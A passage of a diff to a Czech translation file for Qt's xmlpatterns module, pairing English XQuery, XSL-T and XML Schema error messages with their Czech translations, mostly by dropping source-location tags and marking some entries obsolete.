<translation>Na tomto místě nesmí stát žádné textové uzly.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qgenericpredicate.cpp" line="-32"/>
<source>A value of type %1 cannot be a predicate. A predicate must have either a numeric type or an Effective Boolean Value type.</source>
<translation>Hodnoty typu %1 nesmí ýt přísudkem. Pro přísudky jsou přípustné pouze typ číselný nebo účinný booleánský.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+2679"/>
<source>%1 is not a valid name for a processing-instruction.</source>
<translation>%1 není platným názvem pokynu pro zpracování.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qerrorfn.cpp" line="+61"/>
<source>%1 was called.</source>
<translation>%1 byl volán.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/utils/qoutputvalidator.cpp" line="-7"/>
<source>It&apos;s not possible to add attributes after any other kind of node.</source>
<translation>Vlastnosti nesmí následovat za jinými druhy uzlů.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="+655"/>
<source>At least one %1-element must occur before %2.</source>
<translation>Před %2 musí stát alespoň jeden %1-prvek.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qstringvaluefns.cpp" line="+252"/>
<source>The normalization form %1 is unsupported. The supported forms are %2, %3, %4, and %5, and none, i.e. the empty string (no normalization).</source>
<translation>Tato forma normalizování %1 není podporována. Podporovanými formami normalizování jsou %2, %3, %4 a %5, a &quot;žádný&quot; (prázdný znakový řetězec zastupuje &quot;žádné normalizování&quot;).</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qcastas.cpp" line="+29"/>
<source>When casting to %1 or types derived from it, the source value must be of the same type, or it must be a string literal. Type %2 is not allowed.</source>
<translation>U operace představení k typu %1 nebo odvozených typů musí být zdrojovou hodnotou řetězec znaků tvořený písmeny nebo hodnota stejného typu. Typ %2 je neplatný.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="+1048"/>
<source>A parameter in a function cannot be declared to be a tunnel.</source>
<translation>Parameter funkce nelze prohlásit za tunel.</translation>
</message>
@@ -8563,62 +8890,50 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">XSL-T vlastnosti XSL-T prvku musí být v nulovém jmenném prostoru, nikoli v XSL-T jmenném prostoru, jako %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-2963"/>
<source>The namespace of a user defined function in a library module must be equivalent to the module namespace. In other words, it should be %1 instead of %2</source>
<translation>Jmenný prostor uživatelem stanovené funkce v modulu knihovny musí odpovídat jmennému prostoru modulu (Jinými slovy by měl být %1 namísto %2) </translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qabstractdatetime.cpp" line="+26"/>
<source>Day %1 is invalid for month %2.</source>
<translation>Ǔdaj o dni %1 je neplatným pro měsíc %2.</translation>
</message>
<message>
- <location line="-9"/>
<source>Overflow: Can&apos;t represent date %1.</source>
<translation>Nelze představit datum %1 (Přetečení).</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="-1304"/>
<source>In a simplified stylesheet module, attribute %1 must be present.</source>
<translation>Ve zjednodušeném modulu stylového listu musí být přítomna vlastnost %1.</translation>
</message>
<message>
- <location line="-189"/>
<source>Unknown XSL-T attribute %1.</source>
<translation>Neznámá XSL-T vlastnost: %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-483"/>
<source>It is not possible to redeclare prefix %1.</source>
<translation>Předponu %1 nelze prohlásit.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/type/qcardinality.cpp" line="+2"/>
<source>exactly one</source>
<translation>přesně jeden</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qpatternplatform.cpp" line="+100"/>
<source>%1 is an invalid regular expression pattern: %2</source>
<translation>%1 není platným pravidelným výrazem: %2</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="-219"/>
<source>Element %1 is not allowed at this location.</source>
<translation>Prvek %1 nesmí stát na tomto místě.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+1811"/>
<source>The Schema Validation Feature is not supported. Hence, %1-expressions may not be used.</source>
<translation>%1-výrazy se nemohou používat, protože funkce prohlášení schématu platným není podporována.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="+2143"/>
<source>At least one %1 element must appear as child of %2.</source>
<translation>Alespoň jeden %1-prvek musí být potomkem %2.</translation>
</message>
<message>
- <location line="-282"/>
<source>This processor is not Schema-aware and therefore %1 cannot be used.</source>
<translation>%1 se nemůže používat, protože tento procesor nepodporuje žádné schéma.</translation>
</message>
@@ -8627,13 +8942,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Prvek %2 může mít jen %3 nebo obvyklé vlastnosti, ne však %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qatomicmathematicians.cpp" line="+129"/>
- <location line="+32"/>
<source>Dividing a value of type %1 by %2 (not-a-number) is not allowed.</source>
<translation>Dělení hodnoty typu %1 prostřednictvím %2 (není číselnou hodnotou) není přípustné.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/janitors/qcardinalityverifier.cpp" line="+58"/>
<source>Required cardinality is %1; got cardinality %2.</source>
<translation>Požadované kardinální číslo (mohutnost množiny) je %1 (v současnosti %2).</translation>
</message>
@@ -8642,17 +8954,14 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Tento výtvor je přípustný pouze v XQuery.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+771"/>
<source>No function by name %1 is available.</source>
- <translation>Neexistuje žádná funkce s názvem %1.</translation>
+ <translation type="obsolete">Neexistuje žádná funkce s názvem %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qunparsedtextfn.cpp" line="+65"/>
<source>The URI cannot have a fragment</source>
<translation>URI nesmí obsahovat kousek</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+788"/>
<source>%1 is not an atomic type. Casting is only possible to atomic types.</source>
<translation>%1 není atomárním typem. Operace představení se dají provádět pouze s atomárními typy.</translation>
</message>
@@ -8661,98 +8970,78 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">První argument %1 nemůže být typu %2.</translation>
</message>
<message>
- <location line="-554"/>
<source>The namespace URI must be a constant and cannot use enclosed expressions.</source>
<translation>Jmenný prostor-URI musí být konstantou a nesmí používat vložené výrazy.</translation>
</message>
<message>
- <location line="-2798"/>
<source>Prefix %1 is already declared in the prolog.</source>
<translation>Předpona %1 byla prohlášena již v předmluvě (prologu).</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qapplytemplate.cpp" line="+119"/>
<source>Ambiguous rule match.</source>
<translation>Víceznačné pravidlo.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/type/qtypechecker.cpp" line="-49"/>
<source>Promoting %1 to %2 may cause loss of precision.</source>
<translation>Postoupení od %1 k %2 může vést ke ztrátě přesnosti.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+782"/>
<source>In an XSL-T pattern, only function %1 and %2, not %3, can be used for matching.</source>
<translation>V XSL-T vyhledávacím vzoru se smějí pro srovnávání používat jen funkce %1 a %2, ne však %3.</translation>
</message>
<message>
- <location line="-1031"/>
- <location line="+10"/>
<source>A default namespace declaration must occur before function, variable, and option declarations.</source>
<translation>Prohlášení výchozích jmenných prostorů musí stát před prohlášeními funkcí-, proměnných- nebo prohlášeními voleb.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qarithmeticexpression.cpp" line="+17"/>
<source>Operator %1 cannot be used on atomic values of type %2 and %3.</source>
<translation>Operátor %1 se nemůže používat u atomárních hodnot typů %2 a %3.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+526"/>
<source>The module import feature is not supported</source>
<translation>Funkce zavedení modulu není podporována</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qtemplate.cpp" line="-71"/>
<source>The parameter %1 is passed, but no corresponding %2 exists.</source>
<translation>Neexistuje žádný odpovídající %2 pro předaný parameter %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qatomicvalue.cpp" line="+79"/>
<source>A value of type %1 cannot have an Effective Boolean Value.</source>
<translation>Hodnota typu %1 nemůže mít žádnou účinnou booleánskou hodnotu.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qprocessinginstructionconstructor.cpp" line="+84"/>
<source>The data of a processing instruction cannot contain the string %1</source>
<translation>Data pokynu pro zpracování nesmí obsahovat řetězec znaků %1</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qabstractdatetime.cpp" line="+58"/>
<source>Time 24:%1:%2.%3 is invalid. Hour is 24, but minutes, seconds, and milliseconds are not all 0; </source>
<translation>Časový údaj 24:%1:%2.%3 je neplatný. U hodinového údaje je 24, ale minuty, sekundy a milisekundy musí být všechny 0; </translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-3984"/>
<source>A template by name %1 has already been declared.</source>
- <translation>Předloha s názvem %1 už byla prohlášena.</translation>
+ <translation type="obsolete">Předloha s názvem %1 už byla prohlášena.</translation>
</message>
<message>
- <location line="+6376"/>
<source>It is not possible to bind to the prefix %1</source>
<translation>Předponu %1 nelze spojit</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qderivedinteger_p.h" line="+9"/>
<source>Value %1 of type %2 is below minimum (%3).</source>
<translation>Hodnota %1 typu %2 zůstává pod minimem (%3).</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/type/qtypechecker.cpp" line="-44"/>
<source>Required type is %1, but %2 was found.</source>
<translation>Požadovaný typ je %1, byl ale zadán %2.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/acceltree/qacceltreeresourceloader.cpp" line="-16"/>
<source>%1 is an unsupported encoding.</source>
<translation>Kódování %1 není podporováno.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-2584"/>
<source>The name of an option must have a prefix. There is no default namespace for options.</source>
<translation>Název volby musí mít předponu. Pro volby není žádná předloha pro jmenný prostor.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="-1221"/>
<source>Element %1 must come last.</source>
<translation>Prvek %1 musí stát jako poslední.</translation>
</message>
@@ -8761,57 +9050,50 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Prvek %2 může mít jen vlastnost %3, %4 nebo vlastnosti, které jsou obvyklé, ne však %1.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qqnameconstructor_p.h" line="-12"/>
<source>No namespace binding exists for the prefix %1 in %2</source>
<translation>Neexistuje žádné svázání jmenného prostoru pro předponu %1 v %2</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+3238"/>
<source>The name %1 does not refer to any schema type.</source>
<translation>Název %1 nemá žádnou spojitost s jakýmkoli typem schématu.</translation>
</message>
<message>
- <location line="-639"/>
<source>Prefix %1 can only be bound to %2 (and it is, in either case, pre-declared).</source>
<translation>Předponu %1 lze spojit pouze s %2. Toto je prohlášeno již dopředu..</translation>
</message>
<message>
- <location line="-6517"/>
<source>W3C XML Schema identity constraint selector</source>
<translation>Přepínač omezení totožnosti W3C XML schéma</translation>
</message>
<message>
- <location line="+3"/>
<source>W3C XML Schema identity constraint field</source>
<translation>Pole omezení totožnosti W3C XML schéma</translation>
</message>
<message>
- <location line="+4"/>
<source>A construct was encountered which is disallowed in the current language(%1).</source>
<translation>Narazilo se na výtvor, který v nynějším jazyce není povolen (%1).</translation>
</message>
<message>
- <location line="+520"/>
+ <source>A template with name %1 has already been declared.</source>
+ <translation>Předloha s názvem %1 již existuje.</translation>
+ </message>
+ <message>
<source>The initialization of variable %1 depends on itself</source>
<translation>Inicializace proměnné %1 je závislá na její vlastní hodnotě</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qdocumentcontentvalidator.cpp" line="+86"/>
<source>An attribute node cannot be a child of a document node. Therefore, the attribute %1 is out of place.</source>
<translation>Uzel vlastnosti se nesmí objevit jako potomek uzlu dokumentu. Objevil se uzel vlastnosti s názvem %1, který je proto nevhodný.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qabstractdatetime.cpp" line="-68"/>
<source>Month %1 is outside the range %2..%3.</source>
<translation>Údaj o měsíci %1 je mimo rozsah %2..%3.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+4311"/>
<source>The name of a variable bound in a for-expression must be different from the positional variable. Hence, the two variables named %1 collide.</source>
<translation>Název proměnné úzce spojené s pro-výrazem se musí lišit od poziční proměnné. Dvě proměnné s názvem %1 se z tohoto důvodu střetávají.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qqnameconstructor.cpp" line="+82"/>
<source>No namespace binding exists for the prefix %1</source>
<translation>Neexistuje žádné svázání jmenného prostoru pro předponu %1</translation>
</message>
@@ -8820,38 +9102,54 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Prvek má již jednu vlastnost s názvem %1 s hodnotou %2.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qhexbinary.cpp" line="+19"/>
<source>%1 is not valid as a value of type %2.</source>
<translation>%1 není platný jako hodnota typu %2.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/type/qcardinality.cpp" line="+4"/>
<source>zero or more</source>
<translation>žádný nebo více</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+2482"/>
- <location line="+71"/>
<source>%1 is not in the in-scope attribute declarations. Note that the schema import feature is not supported.</source>
<translation>%1 se nenachází v oblasti pod prohlášením vlastností. Všimněte si, že funkce zavedení schématu není podporována.</translation>
</message>
<message>
- <location line="-2830"/>
<source>When function %1 is used for matching inside a pattern, the argument must be a variable reference or a string literal.</source>
<translation>Při použití funkce %1 k vyhodnocování uvnitř vyhledávacího vzoru musí být argumentem odkaz na proměnnou nebo řetězec tvořený písmeny.</translation>
</message>
<message>
- <location line="+233"/>
+ <source>No variable with name %1 exists</source>
+ <translation>Neexistuje žádná proměnná s názvem %1</translation>
+ </message>
+ <message>
+ <source>The value of attribute %1 must be of type %2, which %3 isn&apos;t.</source>
+ <translation>Hodnota vlastnosti %1 musí být typu %2. %3 není platnou hodnotou.</translation>
+ </message>
+ <message>
+ <source>The prefix %1 cannot be bound. By default, it is already bound to the namespace %2.</source>
+ <translation>Předpona %1 nemůže být spojena. Ve výchozím nastavení je již spojena se jmenným prostorem %2.</translation>
+ </message>
+ <message>
+ <source>A variable with name %1 has already been declared.</source>
+ <translation>Proměnná s názvem %1 již byla prohlášena.</translation>
+ </message>
+ <message>
+ <source>No value is available for the external variable with name %1.</source>
+ <translation>Pro vnější proměnnou s názvem %1 není dostupná žádná hodnota.</translation>
+ </message>
+ <message>
+ <source>An argument with name %1 has already been declared. Every argument name must be unique.</source>
+ <translation>Již byl prohlášen jeden argument s názvem %1. Názvy argumentů musí být jednoznačné.</translation>
+ </message>
+ <message>
<source>%1 is an invalid template mode name.</source>
<translation>%1 není platným názvem pro řežim předlohy.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qabstractduration.cpp" line="-7"/>
<source>At least one time component must appear after the %1-delimiter.</source>
<translation>Po %1-oddělovači se musí objevit alespoň jedna složka času.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/data/qabstractdatetime.cpp" line="+196"/>
<source>Overflow: Date can&apos;t be represented.</source>
<translation>Nelze představit datum (Přetečení).</translation>
</message>
@@ -8860,22 +9158,18 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Operátor %1 se nemůže používat u atomárních hodnot typů %2 a %3.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qtimezonefns.cpp" line="+87"/>
<source>A zone offset must be in the range %1..%2 inclusive. %3 is out of range.</source>
<translation>Rozdíl v časové zóně musí ležet v oblasti %1..%2 (včetně). %3 leží mimo oblast.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qassemblestringfns.cpp" line="+88"/>
<source>%1 is not a valid XML 1.0 character.</source>
<translation>%1 není platný znak XML 1.0.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qaggregatefns.cpp" line="+74"/>
<source>The first argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.</source>
<translation>První argument %1 nemůže být typu %2. Musí to být typ %3, %4 nebo %5.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qtimezonefns.cpp" line="+12"/>
<source>%1 is not a whole number of minutes.</source>
<translation>%1 není celočíselným údajem o minutách.</translation>
</message>
@@ -8888,12 +9182,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Nelze provádět žádnou operaci předvedení od %1 do %2.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="-4204"/>
<source>No variable by name %1 exists</source>
- <translation>Neexistuje žádná proměnná s názvem %1</translation>
+ <translation type="obsolete">Neexistuje žádná proměnná s názvem %1</translation>
</message>
<message>
- <location line="+5919"/>
<source>Namespace %1 can only be bound to %2 (and it is, in either case, pre-declared).</source>
<translation>Jmenný prostor %1 lze spojit pouze s %2. Toto je stanoveno již dopředu.</translation>
</message>
@@ -8902,1448 +9194,1110 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">Druhá veličina, operand, dělení %1 nesmí být nula (%2).</translation>
</message>
<message>
- <location line="-6170"/>
<source>Only one %1 declaration can occur in the query prolog.</source>
<translation>Předmluva k dotazu (prolog) smí obsahovat pouze jedno %1-prohlášení.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="-151"/>
<source>Element %1 must have at least one of the attributes %2 or %3.</source>
<translation>Prvek %1 musí mít alespoň jednu z vlastností %2 nebo %3.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/functions/qdatetimefn.cpp" line="+86"/>
<source>If both values have zone offsets, they must have the same zone offset. %1 and %2 are not the same.</source>
<translation>Když jsou zadány obě hodnoty s časovými zónami, musí mít ten samý rozdíl v časové zóně. %1 a %2 nejsou to samé a jsou tím pádem nepřípustné.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+4006"/>
<source>No external functions are supported. All supported functions can be used directly, without first declaring them as external</source>
<translation>Nejsou podporovány vnější funkce. Všechny podporované funkce se dají používat přímo, bez toho, že by byly nejprve prohlášeny za vnější</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/expr/qpath.cpp" line="+109"/>
<source>The last step in a path must contain either nodes or atomic values. It cannot be a mixture between the two.</source>
<translation>Poslední krok cesty musí obsahovat buď jen uzly nebo jen atomární hodnoty. Nesmí se vyskytovat společně.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/schema/qxsdparticlechecker.cpp" line="+165"/>
<source>Empty particle cannot be derived from non-empty particle.</source>
<translation>Prázdnou částici nelze odvodit z částice, která není prázdná.</translation>
</message>
<message>
- <location line="+15"/>
<source>Derived particle is missing element %1.</source>
<translation>V odvozené částici chybí prvek %1.</translation>
</message>
<message>
- <location line="+7"/>
<source>Derived element %1 is missing value constraint as defined in base particle.</source>
<translation>V odvozeném prvku %1 chybí omezení hodnoty, jak je to stanoveno v základní částici.</translation>
</message>
<message>
- <location line="+5"/>
<source>Derived element %1 has weaker value constraint than base particle.</source>
<translation>Odvozený prvek %1 má slabší omezení hodnoty než má základní částice.</translation>
</message>
<message>
- <location line="+7"/>
<source>Fixed value constraint of element %1 differs from value constraint in base particle.</source>
<translation>Pevné omezení hodnoty prvku %1 se liší od omezení hodnoty základní částici.</translation>
</message>
<message>
- <location line="+7"/>
<source>Derived element %1 cannot be nillable as base element is not nillable.</source>
<translation>Odvozený prvek %1 nemůže mít žádnou vlastnost &apos;nillable&apos;, neboť základní prvek žádnou nestanovuje.</translation>
</message>
<message>
- <location line="+10"/>
<source>Block constraints of derived element %1 must not be more weaker than in the base element.</source>
<translation>Omezení bloku odvozeného prvku %1 nesmí být slabší než v základním prvku.</translation>
</message>
<message>
- <location line="+11"/>
<source>Simple type of derived element %1 cannot be validly derived from base element.</source>
<translation>Jednoduchý typ odvozeného prvku %1 nemůže být platně odvozen ze základního prvku.</translation>
</message>
<message>
- <location line="+5"/>
<source>Complex type of derived element %1 cannot be validly derived from base element.</source>
<translation>Složitý typ odvozeného prvku %1 nemůže být platně odvozen ze základního prvku.</translation>
</message>
<message>
- <location line="+24"/>
<source>Element %1 is missing in derived particle.</source>
<translation>Prvek %1 chybí v odvozené částici.</translation>
</message>
<message>
- <location line="+18"/>
<source>Element %1 does not match namespace constraint of wildcard in base particle.</source>
<translation>Prvek %1 neodpovídá omezení jmenného prostoru zástupného symbolu (vzor hledání) v základní částici.</translation>
</message>
<message>
- <location line="+11"/>
<source>Wildcard in derived particle is not a valid subset of wildcard in base particle.</source>
<translation>Zástupný symbol (vzor hledání) v odvozené částici není platnou dílčí množinou zástupného symbolu v základní částici.</translation>
</message>
<message>
- <location line="+5"/>
<source>processContent of wildcard in derived particle is weaker than wildcard in base particle.</source>
<translation>Vlastnost processContent zástupného symbolu (vzor hledání) odvozené částice je slabší než zástupný symbol (vzor hledání) v základní částici.</translation>
</message>
<message>
- <location line="+240"/>
<source>Derived particle allows content that is not allowed in the base particle.</source>
<translation>Odvozená částice dovoluje obsah, který není přípustný pro základní částici.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/schema/qxsdschemachecker.cpp" line="+227"/>
<source>%1 has inheritance loop in its base type %2.</source>
<translation>%1 má ve svém základním typu %2 v kruzích prováděnou dědičnost.</translation>
</message>
<message>
- <location line="+5"/>
- <location line="+24"/>
<source>Circular inheritance of base type %1.</source>
<translation>V kruzích prováděná dědičnost v základním typu %1.</translation>
</message>
<message>
- <location line="+11"/>
<source>Circular inheritance of union %1.</source>
<translation>V kruzích prováděná dědičnost při sjednocení %1.</translation>
</message>
<message>
- <location line="+25"/>
<source>%1 is not allowed to derive from %2 by restriction as the latter defines it as final.</source>
<translation>%1 není dovoleno odvodit z %2 pomocí omezení, neboť posledně uvedený ji určuje jako konečnou.</translation>
</message>
<message>
- <location line="+5"/>
<source>%1 is not allowed to derive from %2 by extension as the latter defines it as final.</source>
<translation>%1 není dovoleno odvodit z %2 pomocí rozšíření, neboť posledně uvedený ji určuje jako konečnou.</translation>
</message>
<message>
- <location line="+31"/>
<source>Base type of simple type %1 cannot be complex type %2.</source>
<translation>Složitý typ %2 nemůže být základním typem jednoduchého typu %1.</translation>
</message>
<message>
- <location line="+9"/>
<source>Simple type %1 cannot have direct base type %2.</source>
<translation>Jednoduchý typ %1 nemůže mít přímý základní typ %2.</translation>
</message>
<message>
- <location line="+33"/>
- <location line="+9"/>
<source>Simple type %1 is not allowed to have base type %2.</source>
<translation>Jednoduchý typ %1 nesmí mít základní typ %2.</translation>
</message>
<message>
- <location line="+12"/>
<source>Simple type %1 can only have simple atomic type as base type.</source>
<translation>Jednoduchý typ %1 může mít jen jednoduchý malinký základní typ.</translation>
</message>
<message>
- <location line="+6"/>
<source>Simple type %1 cannot derive from %2 as the latter defines restriction as final.</source>
<translation>Jednoduchý typ %1 nesmí být odvozen z %2 , neboť poslední určuje omezení jako konečné.</translation>
</message>
<message>
- <location line="+13"/>
- <location line="+484"/>
<source>Variety of item type of %1 must be either atomic or union.</source>
<translation>Rozmanitost složkových typů %1 musí být buď malinká nebo sjednocení.</translation>
</message>
<message>
- <location line="-474"/>
- <location line="+483"/>
<source>Variety of member types of %1 must be atomic.</source>
<translation>Rozmanitost členských typů %1 musí být malinká.</translation>
</message>
<message>
- <location line="-470"/>
- <location line="+451"/>
<source>%1 is not allowed to derive from %2 by list as the latter defines it as final.</source>
<translation>%1 není dovoleno odvodit z %2 pomocí seznamu, neboť posledně uvedený ji určuje jako konečnou.</translation>
</message>
<message>
- <location line="-431"/>
<source>Simple type %1 is only allowed to have %2 facet.</source>
<translation>Jednoduchý typ %1 může mít jen stránky %2.</translation>
</message>
<message>
- <location line="+10"/>
<source>Base type of simple type %1 must have variety of type list.</source>
<translation>Základní typ jednoduchého typu %1 musí mít rozmanitost seznamu typů.</translation>
</message>
<message>
- <location line="+6"/>
<source>Base type of simple type %1 has defined derivation by restriction as final.</source>
<translation>Základní typ jednoduchého typu %1 určuje sjednocení pomocí omezení jako konečné.</translation>
</message>
<message>
- <location line="+6"/>
<source>Item type of base type does not match item type of %1.</source>
<translation>Složkový typ základního typu neodpovídá složkovému typu %1.</translation>
</message>
<message>
- <location line="+26"/>
- <location line="+93"/>
<source>Simple type %1 contains not allowed facet type %2.</source>
<translation>Jednoduchý typ %1 obsahuje nedovolený typ stránky %2.</translation>
</message>
<message>
- <location line="-72"/>
- <location line="+413"/>
<source>%1 is not allowed to derive from %2 by union as the latter defines it as final.</source>
<translation>%1 není dovoleno odvodit z %2 pomocí sjednocení, neboť posledně uvedený ji určuje jako konečnou.</translation>
</message>
<message>
- <location line="-404"/>
<source>%1 is not allowed to have any facets.</source>
<translation>%1 nesmí mít žádné stránky.</translation>
</message>
<message>
- <location line="+8"/>
<source>Base type %1 of simple type %2 must have variety of union.</source>
<translation>Základní typ %1 jednoduchého typu %2 musí mít rozmanitost sjednocení typů.</translation>
</message>
<message>
- <location line="+9"/>
<source>Base type %1 of simple type %2 is not allowed to have restriction in %3 attribute.</source>
<translation>Základní typ %1 jednoduchého typu %2 nesmí mít žádné omezení vlastnosti %3.</translation>
</message>
<message>
- <location line="+18"/>
<source>Member type %1 cannot be derived from member type %2 of %3&apos;s base type %4.</source>
<translation>Členský typ %1 nemůže být odvozen z členského typu %2 ze základního typu %4 %3.</translation>
</message>
<message>
- <location line="+65"/>
<source>Derivation method of %1 must be extension because the base type %2 is a simple type.</source>
<translation>Rozšíření s musí používat jako způsob dědičnosti (odvození) pro %1, neboť základní typ %2 je jednoduchým typem.</translation>
</message>
<message>
- <location line="+30"/>
<source>Complex type %1 has duplicated element %2 in its content model.</source>
<translation>Složitý typ %1 má zdvojený prvek %2 ve svém modelu obsahu.</translation>
</message>
<message>
- <location line="+8"/>
<source>Complex type %1 has non-deterministic content.</source>
<translation>Složitý typ %1 má ne-neměnný obsah.</translation>
</message>
<message>
- <location line="+21"/>
<source>Attributes of complex type %1 are not a valid extension of the attributes of base type %2: %3.</source>
<translation>Vlastnosti složitého typu %1 nejsou žádným platným rozšířením vlastností základního typu %2: %3.</translation>
</message>
<message>
- <location line="+37"/>
<source>Content model of complex type %1 is not a valid extension of content model of %2.</source>
<translation>Model obsahu složitého typu %1 není žádným platným rozšířením modelu obsahu %2.</translation>
</message>
<message>
- <location line="+10"/>
<source>Complex type %1 must have simple content.</source>
<translation>Složitý typ %1 musí mít jednoduchý obsah.</translation>
</message>
<message>
- <location line="+7"/>
<source>Complex type %1 must have the same simple type as its base class %2.</source>
<translation>Složitý typ %1 musí mít jednoduchý obsah.</translation>
</message>
<message>
- <location line="+67"/>
<source>Complex type %1 cannot be derived from base type %2%3.</source>
<translation>Složitý typ %2 nemůže být odvozen ze základního typu %2%3.</translation>
</message>
<message>
- <location line="+14"/>
<source>Attributes of complex type %1 are not a valid restriction from the attributes of base type %2: %3.</source>
<translation>Vlastnosti složitého typu %1 nejsou žádným platným omezením vlastností základního typu %2: %3.</translation>
</message>
<message>
- <location line="+14"/>
<source>Complex type %1 with simple content cannot be derived from complex base type %2.</source>
<translation>Složitý typ %1 s jednoduchým obsahem nemůže být odvozen ze složitého základního typu %2.</translation>
</message>
<message>
- <location line="+35"/>
<source>Item type of simple type %1 cannot be a complex type.</source>
<translation>Složkový typ jednoduchého typu %1 nemůže být složitým typem.</translation>
</message>
<message>
- <location line="+44"/>
<source>Member type of simple type %1 cannot be a complex type.</source>
<translation>Členský typ jednoduchého typu %1 nemůže být složitým typem.</translation>
</message>
<message>
- <location line="+8"/>
<source>%1 is not allowed to have a member type with the same name as itself.</source>
<translation>%1 nesmí mít členský typ se stejným názvem, jaký má sám.</translation>
</message>
<message>
- <location line="+83"/>
- <location line="+29"/>
- <location line="+34"/>
<source>%1 facet collides with %2 facet.</source>
<translation>Stránka %1 se střetává se stránkou %2.</translation>
</message>
<message>
- <location line="-20"/>
<source>%1 facet must have the same value as %2 facet of base type.</source>
<translation>Stránka %1 musí mít tutéž hodnotu, jakou má stránka %2 základního typu.</translation>
</message>
<message>
- <location line="+37"/>
<source>%1 facet must be equal or greater than %2 facet of base type.</source>
<translation>Stránka %1 musí být stejná nebo větší než stránka %2 základního typu.</translation>
</message>
<message>
- <location line="+19"/>
- <location line="+125"/>
- <location line="+55"/>
- <location line="+12"/>
- <location line="+91"/>
- <location line="+58"/>
- <location line="+34"/>
- <location line="+35"/>
<source>%1 facet must be less than or equal to %2 facet of base type.</source>
<translation>Stránka %1 musí být menší nebo stejná jako stránka %2 základního typu.</translation>
</message>
<message>
- <location line="-389"/>
<source>%1 facet contains invalid regular expression</source>
<translation>Stránka %1 obsahuje neplatný pravidelný výraz</translation>
</message>
<message>
- <location line="+15"/>
<source>Unknown notation %1 used in %2 facet.</source>
<translation>Stránka %2 obsahuje neplatné zaznamenání %1.</translation>
</message>
<message>
- <location line="+20"/>
<source>%1 facet contains invalid value %2: %3.</source>
